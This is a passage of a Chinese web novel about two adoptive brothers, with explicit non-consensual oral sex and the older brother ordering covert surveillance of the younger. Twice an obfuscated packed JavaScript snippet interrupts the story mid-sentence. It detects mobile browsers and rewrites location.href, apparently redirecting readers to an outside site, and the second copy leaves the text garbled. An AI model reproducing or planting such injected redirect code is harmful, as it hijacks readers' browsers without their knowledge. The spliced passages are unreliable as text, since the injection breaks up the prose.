《双向驯养》 1. 强迫 “咳咳!” 赖栗嘴里一空,几乎是本能地咽了下喉咙,膝盖又酸又麻,起来的时候一个踉跄差点又跪下去,好在戴林暄及时捞住了他,并用另一只手狎昵地揉了下他嘴唇:“没吃够?” 赖栗终于清醒,快速反扣住戴林暄的肩,抓住他的两只手腕擒在后腰:“戴林暄,你他妈到底——” 犯什么毛病!? 戴林暄挣了下,没挣开,便放松了身体,就这个背对的姿势回首道:“怎么,只许州官放火,不许百姓点灯?” “州官?我?”赖栗猛得一顿,昨夜的记忆倏然回笼。 赖栗确实放了一把火,却没有想要这样的结果。 昨天是妹妹戴翊的生日宴,远赴海外两年的戴林暄终于回来了,大家其乐融融,推杯换盏,都喝了不少酒。 戴翊更是癫得不行,什么话都敢说,甚至私下跟赖栗断言:“大哥养你这么大就是为了上你,不信你试试。” 赖栗的脑子被酒精泡透了,一边觉得扯淡,一边在宴会结束后鬼使神差地走进戴林暄房间。他们以前经常一起睡,没人觉得有什么。 后面的发展记不清了,只剩几个朦胧的片段,他貌似拱了戴林暄的颈窝,扯了戴林暄的头发和裤腰,可昏暗的画面里,戴林暄从始至终没有反应,只用近乎冷淡的眼神看着他。 时隔一夜,赖栗感到了些许刺痛。 戴林暄从未对他露出过这样的表情,有一瞬间他觉得这只是自己脑补出来的画面,而非真实发生过。直到被他禁锢的两只手腕抖了抖,他才倏地回神,松了力道。 戴林暄揉了下手腕:“想起来了?” “……”赖栗眯缝着眼睛看他,嗓子还带有一些黏哑的余韵,“哥,你这反射弧够长啊。” 昨晚撩起的火气早上才想着泄,有这意志力做什么不行? 戴林暄笑起来:“去漱个口,财伯喊吃饭了。” 早起洗漱很正常,偏偏戴林暄把漱口单独拎出来讲,很难不让人觉得是刻意提醒刚刚发生了什么。 像个恶劣的混蛋。 ——这本该是一个和戴林暄完全不沾边的评价,却突然于这个早晨窜进了赖栗的脑海。 他心里莫名升起一股隐秘的暴戾,头也不回地摔上卫生间的门。门缝合起的前一刻,戴林暄的身影从洗手台镜子里一闪而过,那支被西裤收拢的窄腰微微弯下,捡起地上团成球的卫生纸,兀自笑了笑。 “……操!” 赖栗单手撑着洗手池,另一只手伸进嘴里抠了抠,搞半天也没吐出什么,反而泛起一股难闻的酒酸。昨晚确实喝多了,大概是因为真的很久很久没见到戴林暄,久到赖栗数不清日子。 阳光逐渐透过百叶窗洒进了纯白的瓷砖上,刺人眼睛。这一刻赖栗才终于有了实感,他哥回来了,不会再长期驻扎海外,并且他还给他哥口了,咽了他哥的子子孙孙。 明明昨天他还只是戴家的养子,是戴林暄亲手养大的弟弟,没有一点越界的关系。 戴林暄一大早突然犯神经,应该不只是因为昨晚被撩出了火—— 半小时前,赖栗刚睡醒,昨晚醉酒后试探的记忆片段还没有回归,脑子里就又冒出了戴翊那句“大哥养你这么大就是为了上你,不信你试试”。 试试。 于是赖栗两眼一睁,语气慵懒,张口就来:“哥,我想谈恋爱。” 戴林暄当时站在床边,背对着他系衬衣扣子,闻言大概是停顿了三秒钟那么久,问了句:“挺好,有目标了吗?” 他说:“有一个。” 戴林暄反应很平淡,像随口一问:“男的女的?” 为了试探,他回答:“男的。” 戴林暄顿时笑了,回头看了他一眼。 他哥笑起来自然是极为好看的,赖栗盯了会儿,等回神的时候已经被掐住下颌,戴林暄弯腰撑在他身侧,语气是近乎扭曲的温柔:“和我同性恋叫恶心,和别人就能接受?” 他哥生气了。 赖栗意识到了这一点,可还没琢磨透戴林暄话里的含义,就被勾过腰拖出了被窝,后面只剩下解开皮带的咔哒声与偶尔溢出的闷哼,几乎是戴林暄单方面的强迫与发泄,最后赖栗的嘴角都裂出了血。 …… 卫生间门口多了道朦胧的身影,看动作是在戴手表:“还没好吗?” 赖栗用舌尖顶了下刺痛的嘴角,压着恼火:“戴林暄,我劝你赶紧滚蛋!” 他昨晚被酒精泡透的脑子大概晾了一夜也没干,刚刚被戴林暄按跪在地上的时候竟然没反抗! 戴林暄很轻地笑了笑,声音渐行渐远:“弄快点,等会儿还要去学校报道,吃完早饭顺路送你过去。” 赖栗差点气笑,知道他今天开学还干这种破事? 他已经不想思考戴林暄这么做到底是因为昨晚被撩出的火一直烧到了早上,还是因为被他那句“我想和男的谈恋爱”刺激到了,就说刚刚发生的一切被外界知道,就足以颠覆戴林暄一直以来的公众形象。 戴家大公子戴林暄,光风霁月,克己复礼,每年都会耗费大量时间亲力亲为地做慈善,寻不见一点道德瑕疵,是资本窝里难得一见的璞玉—— 而不是一个撑破弟弟嘴巴的斯文败类。 比起被强迫给戴林暄口了这件事,赖栗更在意戴林暄为什么要这么做。 戴林暄两年前突然抛下一切,选择出国创业,很少回家。因此赖栗和他碰面的次数屈指可数,就算想寻一些异常的苗头都无从下手。 是在国外学来的坏习惯?还是过去三十年过于克制的反扑,憋太狠了,自己碰巧撞上了戴林暄欲|望泄漏的缺口,被当了工具人? 两年聚少离多,一回来就给了他好大一个“惊喜”。 “滴……嗒。” 水滴声惊醒了发愣的赖栗,他舔掉嘴角外渗的血,抬眼对上镜子里的幽暗目光。 镜子里的青年身形颀长,气质张扬桀骜,是那种会让人一眼定格、又被锋利感刺痛而退缩目光的长相。不过当下好像被谁蹂躏过,前额碎发湿漉漉的,黑沉的睫毛上挂着水珠。 赖栗缓缓眨动眼睛,目光随着水珠下坠,路过红肿的嘴角,最后停在了锁骨旁的伤疤上。水珠模糊了疤痕的边界,使它看起来好像有很多年。 赖栗用力闭了下眼,直接一拳砸了过去。 镜子发出刺耳的崩裂声,裂缝像蜘蛛网一般快速扩散,隔出了无数大小不一的镜片,每一块镜片都照出了熟悉的人影,他们站在彼端世界,用同样的目光回视赖栗。 又见面了,小蟋蟀。 - 楼下,司机刘曾已经候着了,戴林暄上车后,刘曾忍不住看了眼大门口,问:“不等小栗吗?” “让任叔送他去学校。”戴林暄关上车窗,“他看我正来气呢。” 任叔是家里另一个司机,同样替戴家工作了很多年。 刘曾启动车子,感叹道:“小栗大半年没见到你了吧?估计都想你想生气了。” “以后不会了。”阳光透过车窗照亮了戴林暄微微掀起的嘴角,眼神却藏进了车框的阴影里,看不分明。 刘曾快速扫了眼后视镜,不确定戴林暄的意思是以后不会大半年不回家,还是赖栗以后不会再想他。 进公司电梯的时候,秘书在旁边汇报工作,戴林暄收到了一条来自管家的消息。 【财伯】:林暄,小栗吃饭的时候发了很大脾气,还砸了碗,说今天的粥难喝得要命,问他怎么了也不说,你要不要问问看是不是在哪受委屈了。 【戴林暄】:辞了,给双倍遣散费。 辞掉谁不言而喻,财伯有些意外,过了几秒才回复说:好的。 “叮。”楼层到了。 “江风的汤总约了您周五晚打高尔夫,周六下午您要和市里领导喝茶,周日上午要和寺庙那边碰个面,讨论一下下月初联举的公益活动流程,以上就是这周比较重要的行程与会议,戴总你看有什么需要变动的地方吗?”秘书跟着戴林暄一起走出电梯,见他没什么反应,试探地喊道,“戴总?” 戴林暄边走边说:“和江风那边联系一下,把周五晚的约推到下周,我球技不精,就不在球场浪费时间了,喝个茶吃个饭都可以。” 秘书立刻做出记录与更改:“那周五晚有另外安排吗?” “嗯,私事。”戴林暄噙起一抹温和的笑意,“叫李助来一趟办公室。” “好的。”秘书转身离开。 办公室门打开又合上,清脆的皮鞋声在办公桌一侧停下,红木抽屉被打开,一只修长的手拿起盒子里的眼镜,架起了高挺的鼻梁上。 戴林暄的办公桌如其人,整洁体面,除去电脑与文件,只有两个相框。 相框的玻璃隔板倒映着戴林暄清隽的面容,他注视着十八岁的赖栗许久,才缓缓将目光移到另一张照片上。 那是十二年前的全家福,彼时赖栗还没有出现,母亲牵着十岁的戴翊,父亲搂着母亲的腰,他笑着站在一旁。 现实的目光与十八岁的自己交汇,都觉得彼此陌生。 “叩叩——” “进。” 李觉进来的时候,戴林暄正在平板上玩数独。 这是一家戴林暄自己创立的影业公司,短短几年就发展成了业内翘楚,忙于海外的这两年他也没退任总裁一职,这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918402|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦了几个助理,每天忙得晕头转向,昏天黑地,李觉就是其中之一。 他比另外两个助理还要累一些,除了公事还要负责处理戴林暄的私事。 刻板印象里,一个公司老总需要处理的私事无非风花雪月四个字,例如帮老板解决死缠烂打的一夜情对象,给和情妇情夫偷情的老板打掩护,安抚想上位的三哥三姐等…… 可对于李觉来说完全不是这么个事,他从始至终服务的私事对象就一个——赖栗。 一个和戴家毫无关系,却喊戴林暄哥的真祖宗。 上个礼拜,李觉刚替戴林暄去医院看望贺家小儿子贺书新,并赔礼道歉,对方几乎被赖栗打成了猪头,理论上贺家在诞市的地位不比戴家差多少,儿子受了这种委屈不会草草了结,没想到竟然比他们这边还想和解。 可能是理亏。 对此赖栗也不肯给出任何解释,甚至在戴林暄问的时候破天荒地主动挂掉电话。 李觉说:“小赖总刚给我发了信息。” 戴林暄没有抬头,在数独方格里填入一个个数字:“他说什么?” 李觉把手机反放在桌上往前一推,戴林暄掀起眼皮,看见赖栗发来的一行字:如果我把贺书新打死,戴总保我吗? 戴总都叫上了,看来早上是真的气得不轻。 戴林暄用李觉的手机回复:法治社会。 赖栗秒认出他:你今早让我吃你寄吧的时候怎么没想是法治社会? 戴林暄直接笑出了声,抵着唇咳嗽了好一会儿。 看不到聊天记录的李觉满脸莫名,不懂自己养大的弟弟都想杀人了为什么还能笑得出来。 【戴林暄】:你报警吧,我帮你提供证据。 【小赖总】:……你录像了? 【戴林暄】:今天吗?没有。 那头的赖栗再没发来一个字。 被吓到了吧。 戴林暄漫不经心地删掉这些对话,把手机还给李觉:“确定这两年没发生什么我不知道的事?他之前和贺书新不是玩得挺好,上次怎么把人揍成那样?” 李觉谨慎道:“明面上没有矛盾,那天的事情发生得很突然。” 戴林暄唔了声,重新拿起手机:“赖栗最近都和谁有接触?” 李觉报了几个熟悉的名字,都是名单上的常客,一群狐朋狗友:“小赖总的社交圈很简单。” 戴林暄将腿搭在另一边膝盖上:“霍家那孩子私生活好像不太干净?” 李觉点点头:“霍斐吗?他私下男女通吃,家里谈一个外面养三四个,一个月至少去四五次不正经会所,小赖总的朋友圈里就属他最花。” 赖栗应该看不上他,小混蛋洁癖得很。 戴林暄连续在平板上填下五六个数字,解决两行数列以后才问:“除霍斐以外还有谁喜欢男人?” 李觉对赖栗的人际关系了如指掌:“还有景得宇,不过最近他包养男明星的事情暴露了,被家里打了个半死,将近一个月没和小赖总一起玩,就昨天在您妹妹生日宴上露了下面。” 戴林暄随意道:“这么听起来,好像没人能跟赖栗发展出超过界限的关系?” “超过界限?”李觉愣了下,“您是指谈对象?” “你觉得?” “应该是没有,没见小赖总和谁走得特别近。” “这样吗。”戴林暄看着屏幕上密密麻麻的数字思考了会儿,才连续不间断地在剩下方格里填入正确数字:“交给你一个任务,从现在开始,赖栗每时每刻在跟谁接触,和谁说话,去了什么地方,我都要第一时间知道。” “……好的。”李觉隐隐觉得过头了。 赖栗一直是混不吝的作风,最牛逼的能力就是闯祸闹事找麻烦,所以李觉很能理解戴林暄找人看着赖栗这件事,以防弟弟出不可挽回的错事——以上都可以解释为一位兄长对弟弟的忧爱。 而刚刚那一瞬间,李觉好像窥探到了一点奇怪的东西,莫名惊起了一身鸡皮疙瘩。可戴林暄的语气温和寻常,仿佛这并不是什么大不了的事。 “小陈板栗的老板还没旅游回来?”戴林暄突然问。 话题转变得太快,李觉顿了下才说:“已经找水军冒充粉丝在老板的网络营销账号上留言催促了,两夫妻说会提前回来,后天就营业。” “到时候记得给我买两袋。”戴林暄对员工一直不错,“这两年你辛苦了,今年三倍奖金。” 李觉瞬间忘了刚刚产生的那点怪诞感,满满都是动力,势必要把赖栗一天喝几杯水都研究清楚:“谢谢戴总,下辈子还给戴总做牛做马!” 戴林暄看了他一眼,笑笑:“话可不能乱说。” 2. 住校 【……你录像了?】 【今天吗?没有。】 赖栗站在宿舍门口,盯着这两句话一动不动。 今天没有,那哪天有?换句话说,他们以前有过什么吗? 赖栗有理由怀疑戴林暄在恐吓他,尽管这不像戴林暄的性格,可往自己养大的弟弟嘴里塞鸟也不像戴林暄能做出来的事,不还是做了吗。 “小栗,床铺好了,衣服都在柜子里,有什么事情给我打电话。”任叔走过来说,“洗衣房出门右转走几步就能看到,卫浴每一层两侧都有,晚上应该不用排队。” 赖栗皱了下眉:“大澡堂?” “有隔间。”任叔无奈道,“你大哥让你住校也是希望你能尽快融入集体,太特立独行不好。” 赖栗嗤之以鼻:“我看他就是故意折腾我。” 任叔笑着叹了口气,戴林暄有多疼赖栗这个异父异母的弟弟在圈子里那是家喻户晓、众所皆知。以至于赖栗如今的性子嚣张跋扈、无法无天,和刚到戴家那会儿的安静内敛完全不同。 任叔继续说:“这个学校的食堂还不错,实在吃不惯可以去学校西门后的商业街,那边有一两家很出名的私房菜,你大哥已经办好会员了。” 赖栗扯了下嘴角:“真体贴啊。” 任叔正想顺着说两句戴林暄的辛苦,好让赖栗安分点,却被新来的室友打断,对方推着行李箱,对堵门的赖栗说:“同学,麻烦让让。” 赖栗头也不回,堪堪往旁边挪了一小步,让新舍友挤进宿舍。手机振动了下,他打开扫了眼,是戴林暄发来的消息。 【我家的】:准了。 【滚一边吠去】:? 【我家的】:准许谈恋爱。 【滚一边吠去】:哥。 【我家的】:嗯。 【滚一边吠去】:你办公桌左边第一个抽屉有根体温计,拿出来,自己插肛眼里量量看是不是脑花烧成浆糊了。 赖栗差点把手机砸了,早上刚把鸟塞他嘴里现在又以哥哥的口吻说准许谈恋爱!? 过了很久,戴林暄也没回复这句堪称大逆不道的发言。 任叔正在跟新来的两个舍友套近乎,说什么以后要互相关照之类的场面话。 这是个四人间,环境还算凑合,赖栗不是没住过比这破一万倍的地方,可由于早上发生的那些事,当前一切都显得那么不可忍受。 赖栗双手插兜,压住暴躁:“任叔,你先回吧。” 任叔笑笑:“好,有什么事跟你大哥说,或者给我打电话。” 任叔走后,有人小声说了句:“真是巨婴。” 赖栗快速锁定一个卷毛:“你说什么?” “耳朵不好使就去看医生,你挡着我了。”卷毛来来回回被挡了三四次,火气直冒,“换个地杵着行不行?” 赖栗撩起眼皮:“不行。” 卷毛气笑了,撸起袖子说:“你他妈真欠揍啊……” 他还没说完就被另一个舍友拦住了:“别搞别搞,第一天呢,和谐为王!” 赖栗平时脾气就差,今天更差:“来,动手,你今天能站着走出这道门我名字倒过来写。” 就在这时,身后传来一道请求:“同学,可以让一下吗?” 赖栗没有理会,盯着卷毛思忖开学第一天打人会不会被辅导员告家长。 卷毛被看得发毛,骂骂咧咧地与赖栗擦肩而过,头也不回地出了宿舍,最后一个舍友才得以顺利进入宿舍。 “认识一下?”刚刚劝架的室友脾气挺好,自我介绍道,“我叫黄皓,出去的那个卷头发叫姜孝,你们怎么称呼?” 刚进来的男生配合道:“宋自楚,床尾有我们的名字。” 学校提前分配好了床位,避免学生为此发生纷争。不过这宿舍都是上床下桌,也都不对着空调,没什么好争的。 赖栗没有说话,目光停留在宋自楚身上。 这位室友穿得很旧,身上的浅色T恤洗得有些发白,样貌倒是整洁。大概是被赖栗看得有些不自在,他主动开口道:“你是赖栗?这个姓还挺少见的。” 赖栗没有搭理,收回目光,转头离开了学校。 经子骁在学校附近的私房菜馆点了一桌子菜,庆祝赖栗步入大学,赖栗一进来他就注意到了:“我操|你小子打架不带我啊,这手怎么个事儿?” 赖栗的右手关节涂着红药水,经验丰厚的经师傅一眼看出是刚伤不久,六小时以内。 “砸了个镜子。” “镜子怎么得罪你了……”经子骁说到一半语气突然微妙,“你这嘴巴?” “上火,少他妈意|淫。”赖栗拉了张椅子,哐得一声坐下。 经子骁表示怀疑,不过介于赖栗身边没什么小情儿,也没多想:“你哥不是回家了吗?怎么还心情不好?” 赖栗瞥了他一眼:“凭什么他回家我心情就得好?” 经子骁耸耸肩:“我又不瞎。” 长了眼睛的人都能看出来,戴林暄远赴海外的这两年,赖栗脾气的火爆程度日渐增长,但是戴林暄每次回来,赖栗周身的气场都会变得和谐且稳定。 周围朋友甚至调侃如果赖栗是一条疯狗,那戴林暄就是加粗加实的拴狗绳。 “昨天你妹生日……” “戴翊不是我妹。” “好好好,你别跟我冒火,她是戴林暄亲妹,你又叫戴林暄哥,怎么撇清关系……行,我不说了!”经子骁举起双手投降,“昨天戴翊生日宴,有记者拍到你和戴林暄了。” 赖栗不以为意:“怎么说的?” 经子骁说话完全不耽误吃:“总结一下就是说戴林暄‘下海两年’更有熟男魅力了,伴侣市场又扩增一大批。而且他这次回来恐怕要出任戴氏集团董事了,只要不死,戴氏继承人非他莫属。” “谁写的稿子?”最后两句话让赖栗脸色一沉。 “撰稿人是贺家老二老婆弟弟的女儿,你上周刚揍完贺书新就别惹贺家人了,小心你哥被你气出心脏病。” 最重要的是人家也没说错—— 戴家现在的情况很微妙,戴氏家族的前任话事人戴恩豪很多年前因车祸成了植物人,至今躺在疗养院里没醒,因此他过去的职务都由戴恩豪的太太蒋秋君暂时代理。 一个外姓人握着戴家命脉本就是一件很微妙的事,看她不爽的人多了去了。 而戴恩豪和蒋秋君就两个孩子,一个戴林暄,一个戴翊。戴家旁支想夺权上位非常简单,弄死这两兄妹就行,戴恩豪搁疗养院里挺尸呢又不能继续生,蒋秋君近几年身体不太好,说不准还能活多久,她再厉害又能怎么样? “我呢?”赖栗冷不丁地问。 “这次的报导很有创新,没再强调说你是你哥的全瑕挂件。”经子骁一本正经道,“——人家再稿子末尾提问,八岁男孩到底有没有生育能力噗哈哈哈哈!” “……” 经子骁笑得浑身发抖,椅子发出吱嘎吱嘎的声响,用力咳嗽好几声后才停下来:“讲真的,不仅他们不能理解,我有时候都想不明白你哥为什么对你这么好,你又不是他儿子。” 戴林暄对赖栗好吗?答案是毫不犹豫的肯定。 没有戴林暄,赖栗早就死了,他能活得肆无忌惮,毫无压力地吃喝玩乐,纸醉金迷,全都是因为有他哥托举。 经子骁感叹道:“要不是我认识你好多年了,我都信他们说的你哥有恋童……” 想到戴翊昨晚说的“大哥养你这么大就是为了上你”,加上今早发生的事,赖栗脸色一黑到底,直接折断了手里的筷子。 咔嚓一声,两根变四根。 经子骁吓了一跳:“你一身牛劲没处使吧!” 赖栗偏头看着他:“恋什么?” “恋童癖。”经子骁赶忙撇清关系,“不是我说的啊,就是那些闲出屁的人瞎揣测——首先你跟你哥差八岁,不可能是父子关系,其次你也不可能是戴家私生子,否则和你哥就是竞争关系,他没必要对你这么好,所以很可能是你哥有什么特殊癖好,需要在身边养个小孩儿满足自己的性|欲。” “……真你妈恶心啊。”赖栗缓缓道。 “都说了不是我说的!再骂我妈跟你急啊!”经子骁提高声音,用力啧了声,“我当然不信,谁满足性|欲需要砸这么多钱进去啊?戴林暄养你十二年,砸了至少九位数吧?就说去年,你新买的那两辆跑车都抵得上一家小公司了,还有你下半年心血来潮开的滑雪场,够你哥养多少个小情人啊。” 其实远不止九位数,当然赖栗没打算细说。 作为豪门后代,戴林暄身上看不到一点放纵的影子,将矜贵守礼体现得淋漓尽致。同辈人花天酒地,桃色新闻满天飞的时候,他名校毕业,刻苦创业,洁身自好,年仅三十岁名下就拥有了独立于戴家之外的不菲资产。 圈内长辈无人不夸。 如果说戴林暄这三十年人生有什么不妥帖的地方,那所有人都会想到赖栗。 赖栗十岁才到戴家,名义上是养子,实际是独立的户口本,独立的血缘。 外面都说戴家夫妇俩身居高位,乐善好施,才把可怜的赖栗带回家养着,没想到害了自己的亲儿子。别人都是耀祖爸耀祖妈,戴林暄成了耀祖哥。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918403|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 整整十二年,赖栗要什么有什么,没吃过一点苦,没受过一丝委屈。戴林暄宠他、惯他,闯再大的祸都没打骂过他。 他要星星,戴林暄能连月亮一起摘下来。 基于戴林暄对赖栗的无脑溺爱,媒体关于戴林暄的报导每次都是先扬后抑,长篇大论地夸一顿后来个转折:“但再这么下去,他迟早毁在那个没名没分的弟弟手里。” 经子骁宽慰道:“这些狗仔就这样,你哥没什么风流债可扒,只能次次拿你说事。” 赖栗并不在乎别人怎么看待自己,刚端起汤送到嘴边,发现汤面是乳白色的又硬生生放下,给自己舀了勺海胆蒸蛋:“谁说我哥恋童癖?” “不少人这么说,真要细究谁第一个造的谣还真……”在赖栗的注视下,经子骁很快放弃挣扎,道出谣言的源头,“贺书新和他身边那群狗腿子说的,被你揍一顿后不服气呢,到处胡说八道。” 原话更难听,那拨人什么污秽的词都敢往赖栗身上套。还说赖栗已经成年了,身子不如以前嫩,被抛弃是迟早的事。 经子骁补充道:“不过你放心,这种无稽之谈也就小圈子流传一下,谁敢报导出去?没实锤的东西,那些狗仔扒料又不是真为了找乐子,赚个钱还不至于找死。” 赖栗用汤勺敲击着桌子,眼神发冷:“上次下手还是太轻了。” 经子骁找服务生拿了双新筷子:“你别冲动啊,贺书新还没出院呢。” 赖栗接过,烦躁地说:“短时间冲动不了,我现在住校,周末开始军训。” “住校?”经子骁不能理解,“你虽然是大一,但又不是十八|九岁,和学校申请一下外宿应该没问题啊。” 赖栗刚到戴家的时候还没上过学,那会儿身体与精神状态都不好,又修养了两年才开始上课。所以哪怕小学初中上的是N对一家教也没能赶上同龄人的进度,二十二岁才上大学。 他没吭声,慢吞吞地吃着菜。 经子骁懂了:“你哥不让?” 几个月前高考成绩刚下来,赖栗和戴林暄打视频报喜,说成绩超出预计三十多分,当时戴林暄承诺他开学之前回国,哄他答应了大一住校这件事。 “没事儿,也就一年。”经子骁说,“而且你哥不是早就在校外给你买了公寓?不查寝的时候偷摸出来住呗。” 赖栗面无表情:“我凭什么偷摸?” 经子骁说:“凭你哥不让……你盯着我也没用啊,又不是我不让,实在不行你找戴林暄撒撒娇,他那么惯你没准就同意了。” 要是没今早的事,赖栗肯定缠戴林暄去了,现在么。 “再说吧。” “哦对了,景得宇解禁了,咱三晚上聚一下?”经子骁也跟着扒饭。 “就我们三?”赖栗扫了他一眼。 “那些人你知道的。”经子骁叹了口气。 赖栗周围都是些酒肉朋友,大家现实得很,不见得是真喜欢和赖栗一起玩,也可能是受到家里指示,想利用他和戴林暄打好关系,谁让戴林暄几乎不参与同辈人的娱乐社交呢。 而前不久,赖栗把贺书新给打了。 赖栗不过是个受戴林暄宠爱的“养弟”,贺书新可是正儿八经的豪门后代,有继承权摆在那里。大家怕得罪贺家,所以会暂时冷冷他,等过一阵发现他还没失宠再回来继续和他玩。 赖栗对此没展现出什么情绪:“聚吧,去哪?” 经子骁说:“云顶吧,你刚开学,就喝点小酒,不玩花的。” 赖栗嫌弃道:“我本来就不玩花的,脏死了。” 经子骁想翻白眼:“那是,你赖小少爷谁都看不上。” 赖栗嗤笑了声:“是你们把自己当垃圾桶,什么垃圾都吃得下。” “……那不是也有雏吗?”经子骁翻了个白眼,“再不济你谈个恋爱也行啊,腻了就换呗,你那不许人近身的破毛病也该治治了。” 赖栗可没不许人近身。 戴林暄也是人。 他们昨晚还睡在一张床上呢,早上醒来他横叉四五地压在戴林暄身上,然后还…… 赖栗又捏断了一双筷子。 经子骁彻底无语:“你可真是少爷,吃顿饭到底要几双筷子够?” 赖栗闭了下眼:“叫人来把汤撤了。” “事儿逼。”经子骁直接把赖栗的那份例汤捞到自己面前,“不喝拉倒,我喝,山珍海味吃多了吧你。” 他没用调羹,直接咕噜一口喝完,抹了下嘴巴疑惑地嘀咕:“没问题啊,还是以前的味。” 赖栗抬手抹了下嘴角,不耐道:“你爱喝多喝。” 3. 瘦了 当天晚上三人没聚成,景得宇因为戴翊生日宴短暂地获得了一段自由,回去又被关了三天禁闭。恰巧赖栗开学第一天就有查寝,聚会便推到了周五。 云顶是间ktv形式的会所,只接会员和预约,比较私密,很适合商业娱乐或注重隐私的聚会。 “不好意思来晚了。”景得宇拉开包厢门,震耳欲聋的音乐如潮水一般扑来,又在瞬息间湮灭,“亲爱的赖公子!” 赖栗头也不抬地踹去一脚。 景得宇往后一弓,堪堪躲开:“一个月不见你就这态度,果然人心自古凉薄……” 刚好经子骁唱到:“——参北斗哇!生死之交一碗酒啊!” 景得宇拿起另一个麦克风,吼道:“你丫能不能换首歌!” 经子骁也吼:“不能!” 景得宇拿他没办法,只能往赖栗旁边一坐,倒了两杯酒,提高声音吼着说:“你上上礼拜怎么把贺书新给打了?” 赖栗横靠在沙发扶手上,胳膊一伸捞起一杯酒抿了口,等伴奏声音降低后才说:“想打就打了,还得给他找个良辰节日?” “该出手时就出手啊!”包厢里回荡着经子骁五音不全的吟唱。 “操|你大爷!”景得宇拎起话筒砸了过去,“闭嘴吧!” 赖栗仰头反手一按,直接把音乐控制台关了。 包厢瞬间清净。 经子骁啧了声,丢下麦克风坐过来陪聊:“这一个月过得咋样?” 景得宇叹了口气:“生不如死。” 赖栗看了他一眼。 景得宇捋起衣袖,皮肤上全是红痕:“身上就不给你们看了,全是我爸抽的,都结痂了。” “下手这么狠?你爸气得不轻啊。” “这不是最难熬的。”景得宇灌了一杯酒压住反胃的感觉,“我妈不知道从哪请来一个道士,说有私方能治好我的同性恋,硬逼我喝了大半个月!结果有天我跑厨房一看,那他妈就是一堆破中药!” 赖栗眸色一动,坐起来认真问:“治好了吗?” 景得宇:“……你脑子也不好吧?” 经子骁笑得停不下来,一拍大腿说:“肯定有效果!至少为了不喝中药,你接下来很长一段时间都不会搞男人了。” 赖栗又躺回去,实在困惑:“你到底为什么喜欢男人?” 景得宇翻了个白眼:“我去,这还能说出为什么?那你为什么喜欢女人啊?哦我忘了,我们赖少人畜不爱,眼里只有你哥!你哥天下第一好,行了吧? ” 经子骁感觉这话怪怪的,戴林暄是男的,如果赖栗只要戴林暄,那不就是同性恋吗。 赖栗眯了下眼,手里的空酒瓶打了个转:“我不介意当回你爹。” 景得宇身上的伤又开始疼了,决定停止战火:“你哥不是回来了吗?怎么还一副吃了炸|药包的样子?” 赖栗眯了下眼:“他好像生病了。” “啊!?不是什么大病吧?”经子骁惊了下,“大病你可别说了,景得宇这大嘴巴可守不住秘密,万一散播出去你家股价不得跌死,我可买了七位数——” “诶诶!”景得宇不爽地打断,“你说清楚,到底谁嘴巴大?” 赖栗不悦道:“我哥才不会生病,他只是……做了一些奇怪的事。” “比如?”景得宇问。 “不能说。”赖栗舌尖被辛辣的酒水刺激得有些麻木,不由自主顶了下已经愈合的嘴角。 “讲话讲一半天打雷劈啊。”经子骁警告道。 赖栗没理会,他不可能跟外人分享戴林暄的私事。一旁的手机振动了下,他打开看了眼,发现是戴林暄发来的一张图片——体温计。 【我家的】:这根? 赖栗目光上移,看见了自己好几天前发的那句“把体温计插进屁|眼里量量是不是脑子烧成浆糊了”。 怎么不等他死了再回复。 赖栗冷笑得太明显,旁边凑来一颗好奇的脑袋,他猛得盖住手机,把对方按进沙发缝里。 “卧槽!”景得宇吓了一跳,挣扎道,“你谋杀啊!” “再窥屏我真的会揍你。”赖栗松手。 “你别是谈恋爱了吧。”景得宇揉了揉脖子,嘀咕道,“有什么不能看的。” “没人配上我的床。”赖栗说。 “操。”经子骁笑得乐不可支,“你哥都不敢说这种容易挨打的话。” 赖栗喝了口酒,盯着杯里的涟漪出神:“你们不觉得人很恶心吗?赤身裸|体地躺在床上,交换的全是汗液和细菌……还有性病。” 景得宇感觉自己被内涵了:“你不也是人?” 赖栗无所谓道:“所以我也恶心。” 经子骁啧了声:“那你一辈子和自己的左右手过吧。” 赖栗没想过这个问题,就像他没想过自己的一辈子有多长,也许一百年,也许十年,也许下一秒……也许人生就是大梦一场,随时都会醒来,发现肉|体早已腐烂。 赖栗盯着酒杯中心的漩涡,几乎要陷进去,旁边的经子骁问了句你以后怎么办,他才堪堪回神。 景得宇叹气:“走一步看一步吧,我也没想这么早踹柜门。” 经子骁实在是八卦:“现在闹成这样,你做制片人的那部电影还拍吗?” 景得宇说:“拍啊。” 经子骁追问道:“你爸妈都知道你拍电影是为了泡明星了,总局审核那边竟然没卡你流程?” “又不止我一个投资商,钱已经砸进去了,合同也签了。”景得宇耸耸肩,“我爸妈再愤怒也不会跟钱过不去。” “也没把你那位踢出剧组?不怕你和他滚上床?” “已经滚了,他们怕也没用。”景得宇咧嘴一笑,“不然你以为我怎么被发现的?” “牛逼。”经子骁竖起大拇指,敬了景得宇一杯酒,又转头怼了赖栗一下,在人发火之前说,“昨天戴翊生日宴也来了不少明星,我女神也在,可惜没机会搭话,让你帮忙结果一整晚都魂不守舍,琢磨什么呢你?” 赖栗自动忽略了后半句:“你搭话她就理你?毛都没长齐。” 经子骁捋起袖子,狰狞道:“我看我们这架是非打不可了——” 景得宇阻止了这场战火:“你还不知道吧,你哥那个影视公司最近新投了个本子,是给某影后量身定制,奔着拿奖去的。” “然后呢?”赖栗支起一条腿,一只手捏着酒杯,另一只手懒散地搭在膝盖上。 